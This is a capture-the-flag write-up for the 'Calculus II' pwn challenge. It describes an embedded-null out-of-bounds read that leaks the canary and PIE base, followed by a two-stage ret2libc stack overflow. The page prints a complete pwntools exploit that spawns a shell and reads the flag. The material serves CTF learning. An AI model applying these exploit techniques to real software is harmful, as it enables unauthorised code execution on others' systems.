archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets ENIT Friendly CTF 2026 / Pwn WRITEUP

CALCULUS II

F**k calculus

EVENTSecurinets ENIT Friendly CTF 2026CATEGORYPwnDIFFICULTYhardPOINTS600
out-of-bounds-readstack-overflowret2libc

Walkthrough

Solution

An input containing "1\0" remains a valid expression while bytes after the embedded null overwrite display_len. Setting it to 105 makes the octal printer read nine limbs beyond the 96-limb product array. Decode that octal integer into 32-bit words to recover the stack canary and saved return address, then derive the PIE base.

An oversized quit request makes the calculator return through attacker data. Preserve the canary and first call puts(puts@GOT), returning to main to turn the leak into a libc base. A second canary-preserving chain calls system("/bin/sh") and reads the flag.

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.binary = elf = ELF("./main", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
io = remote(args.HOST or "pwn.securinets-enit.club", int(args.PORT or 1338)) if args.REMOTE else process([ld.path, "--library-path", ".", elf.path])

leak_request = b"1\x00".ljust(0x1000, b"A") + p32(105)
io.sendlineafter(b"Bytes: ", str(len(leak_request)).encode())
io.sendafter(b"Expression: ", leak_request)
io.recvuntil(b"Product: ")
number = int(io.recvline().strip(), 8)
words = [(number >> (32 * index)) & 0xffffffff for index in range(105)]

canary = words[99] | words[100] << 32
saved_rip = words[103] | words[104] << 32
elf.address = saved_rip - (elf.sym.main + 0x80)
pop_rdi = elf.sym.service_record
ret = pop_rdi + 1

stage_one = b"quit\x00".ljust(0x1198, b"A") + flat(
    canary,
    0,
    ret,
    pop_rdi,
    elf.got.puts,
    elf.plt.puts,
    ret,
    elf.sym.main,
)
io.sendlineafter(b"Bytes: ", str(len(stage_one)).encode())
io.sendafter(b"Expression: ", stage_one)

raw_leak = io.recvuntil(b"CALCULUS II\n", drop=True)
libc.address = u64(raw_leak[:-1].ljust(8, b"\x00")) - libc.sym.puts

stage_two = b"quit\x00".ljust(0x1198, b"A") + flat(
    canary,
    0,
    ret,
    pop_rdi,
    next(libc.search(b"/bin/sh\x00")),
    libc.sym.system,
    ret,
    libc.sym.exit,
)
io.sendlineafter(b"Bytes: ", str(len(stage_two)).encode())
io.sendafter(b"Expression: ", stage_two)
io.sendline(b"cat /flag 2>/dev/null || cat flag.txt")
io.recvuntil(b"SecurinetsENIT{")
print((b"SecurinetsENIT{" + io.recvuntil(b"}")).decode())

Flag

SecurinetsENIT{d3c1m4l_w4s_n3v3r_th3_pr0bl3m}
Published 2026-10-15 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS